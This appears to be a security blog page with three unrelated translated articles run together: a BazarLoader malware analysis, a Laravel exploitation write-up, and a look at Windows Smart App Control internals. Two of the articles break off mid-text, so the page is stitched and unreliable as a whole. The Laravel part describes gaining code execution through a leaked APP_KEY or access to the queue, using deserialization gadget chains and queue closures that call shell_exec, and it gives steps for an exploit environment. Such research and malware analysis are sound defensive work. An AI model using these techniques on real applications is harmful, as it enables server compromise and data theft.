Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113645

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

我會在本文介紹這個加載程序的最後進程,它能夠下載和執行遠程有效負載,例如CobaltStrike和Conti勒索軟件。 BazarLoader是基於Windows的惡意軟件,主要通過電子郵件等方式傳播。

第1步:檢查系統語言與許多惡意軟件類似,BAZARLOADER會手動檢查系統的語言以避免在其母國開展惡意攻擊。

它調用GetSystemDefaultLangID來檢索系統的默認語言,並調用GetKeyboardLayoutList來遍歷系統的鍵盤佈局。

1.png

對於每一種語言,惡意軟件都會使用位掩碼檢查其是否有效。

如果語言標識符大於0x43或小於0x18,則將其視為有效,這樣BAZARLOADER才會繼續執行。

如果它在0x18和0x43之間的範圍內,語言標識符和0x18之間的差異被用作位掩碼中要檢查的位的索引。

BAZARLOADER使用的位掩碼是0xD8080190C03,即二進制的11011000000010000000000110010000110000000011。如果語言ID為0x18,則檢查位掩碼中的第一位。如果語言ID為0x19,則檢查第二位,依此類推……

2.png

以下是惡意軟件避免的位掩碼中所有語言的列表。

3.png

第2步:互斥對象為了檢查自身的多個運行實例,BAZARLOADER首先從其進程中提取SID的子權限。它通過調用GetTokenInformation來檢索進程的令牌完整性級別並調用GetSidSubAuthorityCount和GetSidSubAuthority來訪問SID的子權限來實現這一點。

4.png

如果SID的子權限是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER通過調用CreateMutexA檢查互斥鎖“{b837ef4f-10ee-4821-ac76-2331eb32a23f}”當前是否由任何其他進程擁有。

如果是,惡意軟件會自行終止。但是,檢查互斥對像是否存在的條件存在一個小錯誤,它假定它在實際成功時無法打開互斥對象。

5-.png

此後,惡意軟件解析字符串“{0caa6ebb-cf78-4b01-9b0b-51032c9120ce}”並嘗試使用該名稱創建互斥鎖。

6-.png

如果這個互斥對像已經存在,惡意軟件也會自行終止。

如果SID的子權限不是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER仍然使用這兩個互斥對象名稱,但在它們前面添加字符串“Global\”。這將檢查全局命名空間中的互斥鎖,而不是每個會話命名空間,這允許惡意軟件檢查它是否有在其他用戶的會話中運行的實例。

第3步:生成隨機Internet流量為了生成Internet活動以隱藏其與C2服務程序的通信,BAZARLOADER首先調用InternetOpenA以使用以下字符串作為HTTP用戶代理來初始化WinINet函數的使用。

5.png

然後,惡意軟件會生成一個線程以定期連接到隨機URL,並利用以下結構生成噪音以隱藏主要的C2流量。

6.png

首先,BAZARLOADER調用InitializeCriticalSection來初始化結構的臨界區對象,該對象稍後用於保護對creation_flag字段的訪問。

接下來,它設置self字段指向結構,creation_flag字段為TRUE,並調用CreateThread生成一個線程來執行這些隨機Internet操作。如果創建線程失敗,creation_flag字段設置為FALSE。

線程首先嘗試獲取臨界區對象的所有權並檢查是否啟用了創建標誌。如果是,惡意軟件會將以下URL解析為堆棧字符串。

7.png

接下來,線程進入一個無限循環,開始產生通訊噪音。對於隨機數生成,BAZARLOADER使用不同的函數調用Windows API BCryptGenRandom來生成一組隨機字節。

它隨機選擇上面列出的4個URL之一,隨機生成URL路徑段,然後將兩者結合起來構建完整的URL。

8.png

在生成路徑段時,該函數取生成的路徑段的最小和最大數量,以及每個路徑段的最小和最大長度。

它在給定範圍內隨機生成路徑段的計數。對於每個段,惡意軟件隨機生成一個字符串,該字符串在給定範圍內具有隨機長度,其中包含數字和大寫/小寫字母。

9.png

最後,惡意軟件調用InternetOpenURLA與生成的URL建立連接。它使用HTTP_QUERY_CONTENT_LENGTH標誌調用HTTPQueryInfoA以檢索內容的長度,分配具有該大小的緩衝區,並調用InternetReadFile從該URL讀取數據。

10.png

這會重複進行,直到C2通信和有效負載注入完成,這會產生大量噪音來掩蓋進出C2服務程序的主要流量。

第4步:密碼結構集群BAZARLOADER主要使用以下結構與C2服務程序進行通信。我們將在分析代碼時解釋結構的字段。

8-.png

首先,它填充主結構中的crypto_struct字段。此結構包含稍後用於解密從C2服務程序發送的可執行文件的加密句柄。

結構可以重構如下:

9-.png

這個惡意軟件會解析字符串“RSA”和“SHA384”,並調用BCryptOpenAlgorithmProvider來獲取這兩個算法的句柄。句柄存儲在crypto_struct結構中的相應字段中。

10-.png

接下來,它解析內存中硬編碼的RSA公鑰和私鑰blob,以導入相應的密鑰句柄。

11-.png

對於每個blob,惡意軟件會解析字符串“RSAFULLPRIVATEBLOB”或“RSAPUBLICBLOB”,並使用它指定blob的類型時調用BCryptImportKeyPair導入相應的密鑰句柄。

12-.png

最後,它調用BCryptGetProperty來檢索RSA公鑰和私鑰密碼塊的長度。在完全填充了這個結構之後,BAZARLOADER現在可以執行RSA加密/解密以及SHA384哈希。

第5步:通過原始IP地址進行C2連接在與C2服務程序通信之前,BAZARLOADER首先解析原始IP地址列表並將它們寫入主結構中的C2_addr_list字段。

該字段是一個表示字符串結構列表的結構,可以如下所示重新構建兩個字符串結構。

10.png

下面是此示例中使用的C2服務程序的所有IP地址的列表。

11.png

對於其中的每個地址,惡意軟件都會嘗試與相應的服務程序通信並下載下一階段的可執行文件。

要建立連接,它會填充以下結構。

12.png

惡意軟件調用InternetCrackUrlA來檢索C2的URL組件和InternetConnectA以連接到服務程序。

13.png

然後將此連接結構的字段複製到主結構的C2_connection_struct中。不過,我不完全確定他們為什麼不直接填充主要結構。

14.png

同樣,BAZARLOADER填充下面的結構以創建對C2的HTTP請求。請求的對象名稱和HTTP動詞被解析為“/data/service”和“GET”。

13-.png

請求的HTTP版本被解析為“HTTP/1.1”,並且BAZARLOADER調用HttpOpenRequestA來使用上面檢索到的連接句柄為C2服務器創建此請求。

它還調用InternetSetOptionA設置接收響應和發送請求的超時時間為300秒,連接C2的超時時間為120秒。

14-.png

BAZARLOADER然後生成附加到請求的HTTP標頭。它通過調用GetSystemTime來使用當前日期和時間填充主結構的curr_system_time和datetime_string字段來實現這一點。

它還生成日期時間字符串的SHA384哈希,以填充結構的datetime_string_hash和datetime_string_hash_len字段。

15-.png

接下來,BAZARLOADER通過調用BCryptSignHash使用其RSA私有簽名生成的哈希,並使用此哈希簽名隨機生成HTTP標頭。

下面是隨機HTTP標頭的形式。

BAZARLOADER的HTTP標頭

16-.png

使用生成的HTTP標頭和請求句柄,BAZARLOADER調用HttpSendRequestA將請求發送到C2服務程序並調用HttpQueryInfoA來檢索狀態碼。

如果狀態碼不是HTTP_STATUS_OK,惡意軟件會轉移到另一個C2地址。

17-.png

如果狀態碼為HTTP_STATUS_OK,BAZARLOADER調用InternetQueryDataAvailable確定要讀取的數據大小,根據大小分配內存緩衝區,並調用InternetReadFile讀取下一階段的有效載荷,直到所有內容都寫入內存。

18-.png

最後,惡意軟件通過調用BCryptDecrypt使用其RSA公鑰解密有效負載,並檢查以確保有效負載的大小大於64字節並且包含MZ標頭。

19-.png

第6步:通過自定義URL進行C2連接如果BAZARLOADER無法從上面列出的IP地址下載下一階段的可執行文件,它會嘗試使用用戶擁有的DNS社區服務OpenNIC解析自定義C2域。

為了開始查詢OpenNIC的API,惡意軟件首先解析URL“api.opennicproject.org”並調用InternetConnectA建立與該網站的連接。

20-.png

接下來,它調用HttpOpenRequestA以創建對象名稱為“/geoip/?bareipv=4wl=allres=8”的GET請求句柄,並使用HttpSendRequestA發送請求。

通過檢查OpenNIC的API,我們可以分解此對象名稱以查看BAZARLOADER請求的內容。其中“bare”參數只列出DNS服務器的IP地址,“IPv4”參數只列出IPv4服務器,“wl”參數只列出白名單服務器,“res”參數只列出8個服務器。

為了測試這一點,我們可以簡單地將下面的路徑粘貼到我們選擇的瀏覽程序中。

14--.png

然後惡意軟件進入循環調用InternetQueryDataAvailable和InternetReadFile來讀取8個OpenNIC的DNS服務器到內存中。

15--.png

對於每個DNS服務程序IP地址,BAZARLOADER將其從字符串解析為int並填充主結構中的opennic_server_struct字段。下面是用於存儲OpenNICIP地址的結構。

16--.png

最後,惡意軟件解碼以下自定義C2域,嘗試使用DNS服務程序解析它們,並下載下一階段的可執行文件。

17--.png

對於每個自定義域,BAZARLOADER調用DnsQuery_A從OpenNIC的服務程序查詢DNS資源記錄,以解析C2服務程序的IP地址。

18.png

在檢查IP地址是否有效後,惡意軟件會嘗試連接它並請求下載下一階段的可執行文件,類似於我們在上一步中看到的。

19.png

第7步:通過process hollowing技術注入成功下載下一階段可執行文件之後,BAZARLOADER開始注入功能,從另一個進程啟動它。

對於此功能,BAZARLOADER填充以下結構。

20.png

首先,它檢查它的進程是否被提升為管理權限。它調用GetCurrentProcess和OpenProcessToken來檢索自己的進程令牌句柄,並調用GetTokenInformation來獲取令牌的提升信息。

Laravel 是一個廣泛使用的開源PHP Web 框架。它可用於相對輕鬆地創建複雜的Web 應用程序,並在許多流行的項目中使用。

在最近對該應用程序的滲透測試中,我們獲得了對框架環境文件的訪問權限。該文件包含許多敏感的Laravel 配置設置,包括應用程序APP_KEY 。

APP_KEY 用於多個與安全相關的任務,在過去,APP_KEY的信息是獲得遠程代碼執行的可靠方法,因為它用於對(序列化的)XSRF令牌簽名。了解APP_KEY的攻擊者能夠創建惡意的XSRF令牌,然後使用已知的小工具鏈,通過不安全的反序列化(CVE-2018-15133)導致RCE。

由於Lavel 5.6.30 默認禁用cookie 序列化。因此,APP_KEY不再授予一個有保證的RCE,攻擊者需要在攻擊路徑上更有創意一點。在這篇文章中,我們會重點介紹攻擊者可以利用洩露的環境文件利用的一些替代攻擊媒介。

APP_KEY 基礎知識Laravel 期望它的環境文件.env 在應用程序的根文件夾中。該文件包含幾個Laravel 配置設置,包括APP_KEY、數據庫憑據和常規設置等機密信息。文件內容的洩露(例如通過任意文件讀取漏洞)會產生嚴重影響,因為洩露的信息可能會以多種方式被濫用。

最顯著的秘密是APP_KEY,它經常可以被濫用來獲得RCE。使用APP_KEY 的最值得注意的函數是:

1.Laravel 的默認“encrypt()”和“decrypt()”函數。如果開發人員想要加密或解密任何值或對象,那麼他們很可能會使用這些函數。它們也被用來加密Laravel的會話cookie,從而進行篡改保護。

2.Laravel 還具有創建防篡改簽名URL 的內置功能。此外,大多數簽名函數使用應用程序APP_KEY 作為機密。

3.在復雜的Web 應用程序中,你可能會看到需要對時間不敏感的任務進行排隊(例如發送提醒郵件)。這樣的任務可以通過Laravel 隊列來處理。由於隊列對象可能存儲在外部,它們也使用APP_KEY 進行簽名。

我們將簡要討論過去利用APP_KEY的方式和原因,以及當前最常用的利用方式。然後,我們將詳細討論通過Laravel隊列提供程序進行攻擊的情況,它允許攻擊者利用Laravel實例,甚至不需要APP_KEY。

Laravel隊列可以通過各種隊列提供程序實現,如Amazon SQS,Redis,local等,在我們的示例中,我們將重點討論如何利用在Amazon SQS中實現的隊列。

過去的攻擊媒介讓我們首先快速了解一下過去Laravel是如何通過不安全的反序列化被利用的。在5.6.30版本之前,Laravel默認對Laravel會話cookie進行序列化和反序列化。與許多其他語言一樣,這為反序列化攻擊打開了大門。

一旦攻擊者獲得對APP_KEY 的訪問權限,他們還可以將任意對象簽名或加密為cookie。攻擊者可以簡單地使用已知的PHP 小工具鏈(例如PHPGGC)創建一個惡意序列化對象,對惡意對象進行簽名,然後將其發送到會話cookie 的位置。 Laravel 試圖反序列化惡意製作的會話cookie,並觸發了小工具鏈的安全相關副作用(通常是RCE)。

在2018 年8 月發布的Laravel v5.6.30 之前,這種利用路徑是可能的。

負責解密cookie的代碼(Laravel 5.4)可以在以下中間軟件代碼片段中找到。中間軟件提取cookie,並將它們發送到加密器類進行解密。

1.png

乍一看,這段代碼似乎還不錯。然而,decrypt()函數有第二個默認參數unserialize=true(請參閱Laravel API 文檔),它定義了在解密過程中必須對傳遞的(加密的)值進行反序列化。

2.png

可以看到,解密後Laravel 嘗試反序列化攻擊者控制的cookie(惡意序列化對象),這會觸發PHPGGC 小工具鏈的安全相關副作用。現在cookie 處理行為已經改變,Laravel調用解密函數時無需對內容進行反序列化。這可以防止先前已知的帶有洩露APP_KEY 的簡單利用路徑:

3.png

目前的利用由於現在的利用並不那麼簡單,我們需要一些其他的攻擊媒介。

濫用其他不安全的“decrypt()”調用在理想的攻擊場景中,易受攻擊的Laravel 應用程序仍然會簡單地反序列化一個用戶控制的對象,該對象受APP_KEY 的篡改保護。當我們分析一些流行的Laravel 應用程序和擴展時,我們注意到一些開發人員犯了與Laravel 的會話cookie 相同的錯誤。因為“decrypt(…)”函數默認反序列化對象,所以開發人員很容易忽略將攻擊者控制的加密內容輸入其中,即使他們並不期望得到PHP對象。

例如,Laravel Package 的OPcache 就是這種情況,這是一個幫助開發人員處理PHP OPcache 的插件。該軟件包安裝了一個中間軟件控制器,用於處理對laravel-opcache 的所有請求。 opcache 處理程序通過提取和解密密鑰URL 參數來執行授權檢查。這是通過使用默認的“解密”函數而不禁用值的反序列化來完成的。在以下代碼片段的第13 行中,可以看到如何使用默認值$unserialize=true 解密密鑰值。

4.png

如果攻擊者知道APP_KEY ,他們可以通過以下方式利用易受攻擊的Laravel 實例:

1.創建惡意的序列化PHP對象;

2.使用洩漏的APP_KEY加密對象;

3.將有效負載發送到易受攻擊的opcache處理程序:https://

4.應用程序將嘗試不安全地解密攻擊者控制的對象。

利用Laravel 隊列以下漏洞利用路徑在Laravel 8 和Laravel 9.2.0 上進行了測試。

按照設計,Laravel 隊列需要在(外部)隊列提供程序中臨時存儲任務和對象。為了防止在靜止時被篡改,這些對象的部分簽名都是使用APP_KEY的。

在研究中,我們發現Laravel 在簽名驗證檢查之前不安全地處理隊列對象。這允許任何可以訪問配置隊列(例如AWS SQS 訪問)的攻擊者獲得遠程代碼執行,即使不知道APP_KEY。

要理解這個問題,我們需要對隊列對象結構有一個大致的了解。通常,隊列對象包含以下(對我們來說很重要)元素:

job -將作業排隊的類;

data -保存我們將執行的實際隊列命令的數據對象;

data.commandName -命令的名稱;

data.command -作為序列化對象的實際命令;

data.command.hash - data.command 的簽名,防止篡改。

5.png

命令對象包含一個哈希,它確保序列化的對像沒有被篡改。但是,由於哈希是序列化PHP 對象的一部分,因此只能在對象未序列化後執行此檢查。

因此,在執行對命令對象的非序列化調用時沒有事先進行任何驗證,這導致了不安全的反序列化漏洞。

隊列命令的不安全反序列化攻擊者可以通過將惡意作業注入Laravel 隊列來利用命令對象的不安全反序列化。

我們使用Laravel 框架本身實現了一個PoC 漏洞利用,這樣我們就可以輕鬆地重用該功能而無需大量複製粘貼。在Laravel 中,你可以使用dispatch 函數將對象分派到隊列中,如下面的代碼片段所示。

6.png

隊列對像在Illuminate 類Illuminate\Queue\Queue 中處理。此類處理隊列對象的創建,該隊列對象將被序列化並稍後發送到隊列中。出於利用目的,我們可以修復createObjectPayload() 函數。在修復的函數中,我們將合法的命令對象替換為惡意製作的序列化對象。

7.png

在示例中,我們使用了來自PHP 反序列化庫PHPGGC 的PendingBroadcast Gadget 鏈(Laravel/RCE9)。

特別是,我們使用了這個鏈,因為它在所有最近的Laravel版本中都有效,並且在鏈中使用了魔術方法__destruct。基於__toString 魔術方法的小工具鏈不起作用,因為Queue 處理程序從不將我們的惡意Queue 對像作為字符串處理,因此不會觸發這些鏈。

如果我們現在看一下作業對象,我們將在命令部分看到我們的反序列化小工具。因為我們以一種非常快速和不方便的方式替換了命令對象,所以對像沒有使用哈希簽名。然而,這無關緊要,因為一旦命令被反序列化,目標就會被利用。

微信截图_20220921100706.png

此時我們只需要等到目標處理隊列中的惡意作業即可。在此過程中,應用程序將嘗試通過從作業對像中反序列化命令對象來獲取命令對象。以下代碼片段顯示瞭如何在作業命令上調用反序列化函數。

請注意,Laravel 還允許用戶使用加密的命令對象。如前所述,加密或解密需要有效的APP_KEY 才能利用。但是,只要我們的命令以字符串O: 開頭(表示序列化PHP 對像中的“對象”),Laravel 將始終嘗試以明文形式反序列化我們的攻擊者控制的命令(第4-6 行)。

9.png

攻擊者控制的命令成功反序列化後,隊列例程繼續。稍後,Laravel 注意到命令對像沒有預期的格式。應用程序將拋出異常,然後嘗試清理無效的惡意對象。在清理過程中,我們的小工具鏈的魔術方法__destroy 被調用,攻擊者控制的命令touch /tmp\/pwnedThroughQueue 被執行。

10.webp.jpg

總而言之,Laravel 在調用對象的反序列化之前不會驗證隊列作業中的命令對象。因此,有權訪問隊列(SQS、Redis 等)的攻擊者可以在不知道APP_KEY 的示例中獲得RCE。如果攻擊者通過不公開APP_KEY 的漏洞獲得對隊列的訪問權限,則這種攻擊場景特別有趣。 (例如,隊列連接的硬編碼或易於猜測的憑據,或洩露的AWS 訪問令牌)。

利用由於隊列閉包的任意作用域此漏洞利用路徑也適用於Laravel 隊列閉包。閉包是“需要在當前請求週期之外執行的簡單任務”,它們允許攻擊者通過隊列執行任意PHP 代碼。

然而,在本例中,攻擊者需要訪問隊列和APP_KEY。如果Laravel 環境文件被公開,則通常會滿足這些條件,因為該文件包含所有必要的信息。與前面的示例不同,這種方法不依賴於反序列化,因此如果沒有可用的小工具鏈可用,它也可以工作。

如下所示,可以使用以下代碼片段將閉包分派到隊列中:

11.png

我們首先假設隊列閉包通常期望在用戶定義的類上運行,在用戶定義的作用域內,例如Podcast 類或Newsletter 類。此外,我們認為隊列閉包中的函數需要實際存在。然而,這兩個假設都是錯誤的。只要隊列關閉作業中的作用域存在,攻擊者就可以執行任意PHP 代碼。

作為概念證明,我們修改了現有的供應商類(在我們的攻擊者環境中)Illuminate\Cookie\Middleware\EncryptCookies 以包含我們的惡意sendMaliciousClosure() 函數。 EncryptCookies 類應該存在於所有Laravel 項目中,因此作用域應該始終存在。請注意,我們也可以通過反射手動更改前面提到的作業對象內的作用域。

首先,我們更改EncryptCookies 類,如以下代碼片段(第11-18 行)所示。這樣,我們定義了一個閉包,它只是調用shell_exec 來執行任意操作系統命令。然後這個閉包作為作業被分派到配置的Laravel 隊列中。

12.png

我們的惡意關閉可以通過我們自己的Laravel Artisan 命令發送,如以下代碼片段所示。請注意,我們在EncryptCookies 作用域內靜態調用函數sendMaliciousClosure。這很重要,因為此作用域也需要存在於目標應用程序中。

13.png

在作業調度期間,隊列閉包被創建並使用洩露的APP_KEY 簽名。下面我們可以看到存儲在隊列中的序列化作業。我們的SerializableClosure 可以在命令對像中找到。

當我們向隊列發送一個閉包時,所有需要的函數定義都包含在閉包中:

14.png

同樣,一旦目標應用程序檢索到隊列對象,它就會嘗試(不安全地)反序列化命令對象。完成此操作後,Laravel 使用APP_KEY 驗證哈希。驗證哈希後,Laravel 將嘗試解析作用域App\Http\Middleware\EncryptCookies。如果此作用域存在,則執行攻擊者控制的閉包或代碼。這可以立即得到驗證,因為攻擊者控制的echo 是從目標隊列工作人員的上下文中調用的。

15.webp.jpg

特別是考慮到閉包,值得一提的是,Laravel並不期望通過隊列接受什麼。開發人員唯一需要的設置是Laravel Queue的配置。一旦配置了這個隊列,Laravel就不會檢查它應該處理哪些隊列功能,而是Laravel 會嘗試處理它通過隊列提供的所有內容。該代碼不區分用於處理排隊閉包的隊列或應該只處理Newsletter 類對象的隊列。

開發工具包/測試環境為了驗證這些漏洞,我們創建了一個小型Laravel 測試和利用環境。

你可以按照以下步驟設置環境:

複製測試環境存儲庫:

16.png

手動安裝composer 依賴項(這應該不需要,但我們過去遇到了一些問題):

17.png

設置測試環境:

laravel_victim_app 和laravel_exploit_scope_app 需要有相同的APP_KEY;

laravel_queue_exploit_client_laravel_exploit_1 會有一個隨機的APP_KEY;

你可以在相應的.env 文件中編輯APP_KEY 變量;

所有三個環境文件都需要設置相同的AWS SQS。可以在此處找到有關如何設置的教程。

18.png

為了利用目標,應用程序需要監聽/工作配置的隊列。這可以使用以下命令完成:

微信截图_20220921100325.png

然後可以使用漏洞利用客戶端發送有效負載。以下命令會將作業發送到隊列中,這將利用命令的不安全反序列化:

微信截图_20220921100351.png

下一個命令將通過隊列閉包執行任意PHP 代碼:

微信截图_20220921100414.png

你將看到目標定期處理傳入隊列。成功的利用應該在目標文件系統的/tmp/目錄中創建文件:

22.png

如果你想檢查哪些代碼片段已更改,可以使用grep 查找字符串“惡意更改”(Malicious Changes),該字符串表示在客戶端中更改的代碼段。

23.png

創建惡意簽名URL另一個不太嚴重的利用場景可能是創建簽名URL。使用簽名URL,開發人員可以驗證請求的URL 是否未被篡改。這可以用於各種示例。 Laravel 在官方文檔中描述的一個示例是將簽名URL 用於“取消訂閱”鏈接。在本示例中,簽名鏈接通過驗證防篡改URL的簽名來防止用戶取消訂閱其他鏈接。

大多數示例中,與其他APP_KEY 攻擊向量相比,創建簽名URL 的影響相對較小。但是,讓開發人員依賴簽名URL 來彌補輸入驗證的不足也是可行的,例如防止SQL 注入或IDOR 漏洞。

從以下代碼示例中可以看出,簽名URL 創建過程非常簡單,可以在Laravel Artisan 命令中輕鬆創建:

24.png

總結雖然獲得對洩露的APP_KEY 的訪問權限不再是代碼執行的保證,但仍有許多攻擊場景可以將此目標存檔。

大多數示例中,洩露的APP_KEY 本身不足以利用應用程序。攻擊者總是需要額外的錯誤

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。

“智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

Smart App Control 預計將與Windows 22H2 一起發布,Windows 22H2 應該會在今年9 月下旬發布。

SAC 具有三種可能的狀態,其中只有一種會執行這些操作:

強制:將強制阻止惡意或不受信任的應用程序,我們將此狀態標記為1。

評估:在此模式下,該功能將繼續評估你的系統是否適合強制模式下的執行,我們將此狀態標記為2。

關:該功能被禁用。一旦禁用,除非你重新安裝操作系統,否則無法再次激活它,我們將此狀態標記為0。

SAC 安裝了解如何安裝它。此功能需要全新安裝才能激活。如果我們為Build 22621 安裝ISO 並通過install.wim 導航到包含註冊表配置單元的文件夾,那麼我們可以將SYSTEM Hive 加載到註冊表編輯器中。在CI\Policy 項中,我們可以找到值VerifiedAndReputablePolicyState設置為2(評估狀態)。

1.png

同樣在CI 項中,我們有SubKey Protected,我們可以在其中找到以下值VerifiedAndReputablePolicyStateMinValueSeen 也設置為2。

2.png

稍後我們將進一步了解如何使用這些項來控制SAC的實際狀態,我們還將了解如何保護Protected SubKey下的值以避免被篡改。

為了在升級時強制執行此操作,我們可以看到安裝ISO 在CI 的替換清單中有以下代碼:[ISO]\sources\replacementmanifests\codeintegrity-repl.man。

3.png

升級操作系統時,這段代碼將檢查註冊表值HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\VerifiedAndReputablePolicyState 是否存在,如果不存在,它將以SAC 狀態0(關閉狀態)創建。

除了這兩個新的註冊表值之外,操作系統還將在System32\CodeIntegrity\CiPolicies 文件夾中附帶兩個新的系統完整性策略文件(.cip)。

PolicyGUID:{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}強制SAC策略,當SAC狀態設置為Enforce(1)時激活;

PolicyGUID:{1283AC0F-FFF1-49AE-ADA1-8A933130CAD6} 評估SAC 策略,當SAC 狀態設置為evaluation (2)時激活;

使用WDACTools 中的CIPolicyParser 腳本,我們將兩個.cip 文件轉換為它們的.xml 表示形式。我們可以從XML 中獲取策略規則來了解這些策略的選項。設置了以下規則,兩個XML 文件都可以在附錄中找到。

啟用:UMCI;

啟用:智能安全圖授權;

啟用:開發者模式動態代碼信任;

啟用:允許補充策略;

啟用:已撤銷已過期未簽名;

啟用:繼承默認策略;

啟用:未簽名的系統完整性策略;

啟用:高級啟動選項菜單;

禁用:腳本執行;

啟用:更新策略不重啟;

啟用:有條件的Windows 鎖定策略;

啟用:審核模式(僅在SAC 評估策略中);

最後,我們可以在System32 文件夾中搜索使用前面提到的註冊表值的二進製文件/模塊。

4.png

SAC 初始化我們將這個部分分為兩個階段。第一階段我們將在Windows加載程序中討論SAC。第二階段我們將在OS初始化期間討論SAC。重要的是要了解加載程序和操作系統都在啟用SAC 中發揮作用。最後,我將添加一個部分來解釋SubKey CI\Protected 下的值保護是如何工作的。

SAC 初始化流程圖如下所示。

5.jpg

Winload 期間的SAC在本節中,我們將討論如何選擇活動SAC 狀態的SAC 策略、Winload 如何強制執行RegKey 之間的持久性和一致性以及如何將SAC 策略傳遞給內核。

6.jpg

SAC初始化的第一步在操作系統加載程序過程中提前完成。更具體地說,在準備目標(OslPrepareTarget) 期間加載SystemHive 之後。為了處理系統完整性策略,將調用函數OslpProcessSIPolicy。在此函數中,將對條件策略(SKU、EMode、SAC Enforce、SAC Evaluation)進行評估,以查看是否應該忽略或解鎖它們。 Microsoft 認為這四個策略是有條件的,因為它們可以被忽略/解鎖,這與始終適用的“MS Windows 驅動程序策略”等其他策略不同。條件策略的策略GUID 存儲在由符號g_SiConditionalPolicies 定義的全局數組中。

忽略和解鎖之間的區別非常微妙。解鎖標誌將一直被選中。另一方面,忽略標誌只會在沒有設置“Enabled:Unsigned System Integrity Policy”的策略中被選中。

要確定是否應為Enforce 或Evaluation 啟用SAC,使用以下兩個函數。

OslpShouldIgnoreUnlockableNightsWatchDesktopEnforcePolicy

OslpShouldIgnoreUnlockableNightsWatchDesktopEvalPolicy這是我們第一次看到引用Nights Watch 來表示SAC,這似乎是微軟的內部名稱。

這兩個函數的行為方式相同,唯一的區別是它們為內部評估函數提供了不同的PolicyGUID:

7.png

此函數使用PolicyGUID 參數來確定要檢查的SAC 狀態。它調用OslpGetNightsWatchDesktopRegKeyState,它返回設備中的實際SAC 狀態。如果實際SAC 狀態與正在評估的狀態匹配,則認為該策略是活動的,這過於簡化了。如果設備是WinPE 或者是否需要簽名策略,則需要進行更多檢查。即使註冊表指示SAC 處於活動狀態,這些檢查也可以使函數返回Ignore 和Unlockable。

OslpGetNightsWatchDesktopRegKeyState 的行為值得一看。此例程負責在重新啟動後保持啟用SAC 並保持兩個註冊表值之間的一致性。此例程有四種可能的情況:

VerifiedAndReputablePolicyState==VerifiedAndReputablePolicyStateMinValueSeen:值是相同的,所以直接返回值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:在上一個啟動會話期間,SAC 狀態被修改。我們從VerifiedAndReputablePolicyState 返回值,並在Protected SubKey下更新該值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:這是一個極端情況,因為VerifiedAndReputablePolicyState 永遠不應大於受保護項下的值。如果有人手動編輯值VerifiedAndReputablePolicyState,我相信這是為了保持兩個值之間的一致性。

值為3或3以上:表示無效狀態轉換並且函數將失敗。

偽代碼總結如下。

8.png

當使用安全應用程序發生SAC 狀態更改時。操作系統將寫入VerifiedAndReputablePolicyState。用戶重新啟動後,此狀態將持續存在於設備中。這意味著在SAC 狀態轉換之後,仍然可以編輯VerifiedAndReputablePolicyState,並且轉換不會在下一次重新啟動後持續存在。這讓我認為微軟只有在安裝更新時才會觸發評估模式的轉換,或者他們會要求重新啟動。顯然,在會話期間發生SAC狀態轉換時,活動策略將被更新。

一旦檢查了所有的條件策略,看看它們是可解鎖的還是應該被忽略。從每個函數獲得的值將寫入以下兩個全局變量:

g_SIPolicyConditionalPolicyConditionUnlockHasBeenMet

g_SIPolicyConditionalPolicyConditionIgnoreHasBeenMet

寫入這些全局變量的值是一個四字節數組,可以用以下結構表示

9.png

在此之後,加載程序將嘗試解析策略文件。首先將每個.cip 文件中的序列化數據加載到內存中(參見BlSIPolicyGetAllPolicyFiles)。然後從SIPolicyParsePolicyData 中的每個文件解析數據,如果有人對細節感興趣,請檢查SIPolicyInitialize 以了解如何將策略的每個部分解析為一個結構。

解析策略後,將檢查忽略和解鎖條件以查看它們是否滿足。如果滿足某個條件,則該策略將被放棄。如果不滿足任何條件,則將使用函數SIPolicySetAndUpdateActivePolicy 將策略設置為活動。

如果設置了策略選項“已啟用:未簽名的系統完整性策略”,則PolicyVersion 和PolicySignersData 將從EFI SecureBoot 私有命名空間中刪除。被刪除的變量名將由PolicyGUID和PolicyVersion/policyysignersdata字符串連接組成,只有當PolicyOptions禁用了“Enabled:Unsigned System Integrity Policy”時,才會創建這些EFI變量。

在下面的輸出中,我們可以看到SetVariable 是如何以大小0 被調用的,這將導致如果找到該變量將被刪除。

10.png

對於這兩個SAC 策略,任何EFI 變量都將被清除。之後,將通過調用SIPolicySetActivePolicy 將策略設置為活動。此調用會將策略添加到將鏈接到全局變量g_SiPolicyCtx 的節點中。 g_NumberOfSiPolicies 將相應地遞增,並且新策略的句柄將存儲在g_SiPolicyHandles 中,此變量是一個包含32 個句柄的數組,因為WDAC 一次在設備上支持多達32 個活動策略。

保存在g_SiPolicyCtx 中的SI_POLICY_CTX 結構的原型如下:

11.png

下圖顯示了三個全局變量。在我的示例中,有三個活動策略,其中一個是SAC 強制執行策略的補充策略,補充策略有助於擴展基本策略以增加策略的信任。

12.png

有了這些信息,加載程序將能夠在加載程序參數塊內構建CI 結構。這是在函數OslBuildCodeIntegrityLoaderBlock 內完成的。這個例程,除其他外,將在函數SIPolicyGetSerializedPoliciesSize 的幫助下獲得序列化SI 策略的大小。該代碼將使用全局變量g_NumberOfSiPolicies 和g_SiPolicyHandles,並且大小將存儲在LOADER_PARAMETER_CI_EXTENSION 的CodeIntegrityPolicySize 字段中。之後,將通過函數SIPolicyGetSerializedPolicies 複製序列化的數據。此數據的偏移量將存儲在字段CodeIntegrityPolicyOffset 中。此信息以及其他CI 信息將存儲在LOADER_PARAMETER_EXTENSION 的CodeIntegrityDataSize 和CodeIntegrityData 字段中,當加載程序轉換到操作系統時,加載程序參數塊作為參數傳遞。

只有序列化的有效負載會被複製。我猜之前所做的所有策略解析主要是檢查策略是否有效,如果無效則觸發SYSTEM_INTEGRITY_POLICY錯誤。還可能使用來自認證或EFI變量策略的值。

